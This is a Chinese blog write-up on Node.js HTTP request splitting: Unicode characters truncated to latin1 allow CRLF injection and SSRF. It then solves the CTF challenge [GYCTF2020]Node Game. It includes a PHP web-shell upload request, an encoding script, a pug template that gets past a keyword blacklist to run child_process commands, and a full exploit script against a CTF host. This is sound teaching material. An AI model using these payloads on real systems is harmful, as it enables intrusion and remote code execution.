目录

  1. 1. 前言
  2. 2. HTTP请求路径中的Unicode字符损坏
  3. 3. Unicode字符损坏造成的HTTP拆分攻击
  4. 4. CRLF注入运用
    1. 4.1. SSRF上传文件
  5. 5. 实战
    1. 5.1. [GYCTF2020]Node Game
      1. 5.1.1. 分析
      2. 5.1.2. exp

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Nodejs HTTP拆分攻击

2024/1/20 Web Nodejs SSRF
  |     |   总文章阅读量:

前言

参考文章:

https://www.anquanke.com/post/id/241429

https://xz.aliyun.com/t/2894

影响版本:node.js ≤ v8


HTTP请求路径中的Unicode字符损坏

虽然用户发出的HTTP请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出

JavaScript里面转换为字节会使用Unicode编码,对于不包含主体的请求,Node.js默认使用“latin1”

这是一种单字节编码字符集,不能表示高编号的Unicode字符,例如🐶这个表情

所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节

image-20240120112327312


Unicode字符损坏造成的HTTP拆分攻击

我们知道nodejs的http库里面包含了阻止CRLF注入的措施,即如果发出一个 URL 路径中含有回车、换行或空格等控制字符的 HTTP 请求是,它们会被 URL 编码

> var http = require("http");
> http.get('http://127.0.0.1:4000/\r\n/WHOAMI').output
[ 'GET /%0D%0A/WHOAMI HTTP/1.1\r\nHost: 127.0.0.1:4000\r\nConnection: close\r\n\r\n' ]

这里就被编码成了%0D和%0A,所以正常的CRLF注入用不了

但是通过Unicode字符损坏的这个特性,就可以绕过这些保护措施

考虑以下的高编码Unicode字符在url中的编码

> 'http://127.0.0.1:4000/\u{010D}\u{010A}/WHOAMI'
http://127.0.0.1:4000/čĊ/WHOAMI

当node.js ≤ v8时发出get请求,不会进行编码转义,因为它们不是http控制字符

> http.get('http://127.0.0.1:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 127.0.0.1:4000\r\nConnection: close\r\n\r\n' ]

但是我们前面已经提过了Node.js在将请求作为原始字节输出时默认使用latin1编码

所以在写入路径的时候,这些字符会被截断为 “\r”(%0d)和 “\n”(%0a)

> Buffer.from('http://127.0.0.1:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://127.0.0.1:4000/\r\n/WHOAMI'

由此可以实现CRLF注入

以下是一些可以被构造出来的控制字符:

字符 由以下Unicode编码构造 对应的字符 对应的URL编码
回车符 \r \u010d č %C4%8D
换行符 \n \u010a Ċ %C4%8A
空格 \u0120 Ġ %C4%A0
反斜杠 \ \u0122 Ģ %C4%A2
单引号 ‘ \u0127 ħ %C4%A7
反引号 ` \u0160 Š %C5%A0
叹号 ! \u0121 ġ %C4%A1

CRLF注入运用

> http.get('http://47.101.57.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami\u010D\u010Atest:').output

这样就在里面构造出了一个set-cookie字段,并且闭合了后面的HTTP/1.1(图片引用参考文章的)

image-20240122151940608

SSRF上传文件

首先,由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1 ,即保证注入后有正常的 HTTP 状态行。

其次,为了不让原来的 HTTP/1.1 影响我们新构造的请求,我们还需要再构造一次 GET / 闭合原来的 HTTP 请求。

接下来我们尝试构造一个上传自己文件的请求包

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

然后将这个POST请求里面的控制字符全部用上述的高编号Unicode码表示:

payload = ''' HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \

print(payload)

然后传入生成的内容,实现CRLF注入进行文件上传

image-20240122152627117


实战

[GYCTF2020]Node Game

进入题目,给了一个获取源码和一个只有管理员能使用的文件上传功能

image-20240122154047873

先看看源码

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }
 
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

先审一下代码,看一下几个路由

/:会包含/template下的一个pug文件并用pug模板进行渲染页面,默认是index

/file_upload:限制了只能由127.0.0.1的ip将文件上传到uploads目录里面

/source:回显源码

/core:利用http.get,通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤

黑名单里面禁用了一些命令执行会用到的函数,不过很明显可以用字符串拼接来绕过

分析

综合上面几点,可以知道是要利用SSRF伪造本地ip进行文件上传,传入一个pug文件,利用这个pug文件包含flag的内容,也可以直接命令执行,pug模板的格式:https://www.pugjs.cn/language/includes

文件包含:(这里要猜flag路径,包含的结果会在html的head标签里面)

doctype html
html
  head
    style
      include ../../../../../../../flag.txt

命令执行:

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x

把这个pug文件上传到/template目录下,然后在/路由下传入action参数来包含这个pug文件回显结果

那么我们首先要找到SSRF的点,在/core路由下

if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {

这里的q参数会被直接拼接进url,然后那边的服务器会进行请求,所以我们可以利用请求拆分攻击进行CRLF注入,把我们构造的文件上传上去

接下来抓一个文件上传的包并构造请求

image-20240122155133078

抓到请求包后我们要把cookie删掉,并把Host、Origin、Referer等改为本地地址,Content-Type改为 ../template 用于目录穿越(注意Content-Length也需要改成变化后的值)

exp

构造请求包并编写脚本:(脚本用pop爷那里存的)

import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive 

{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="flag.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x

------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''

GET /anythingelse HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.format(len(body)+10,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)


session = requests.Session()
session.trust_env = False
session.get('http://acce340e-7d2d-47b5-8263-865be07d3514.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
# response = session.get('http://acce340e-7d2d-47b5-8263-865be07d3514.node5.buuoj.cn:81/?action=flag')
# print(response.text)

成功运行脚本之后直接在/路由下传入?action=flag即可得到flag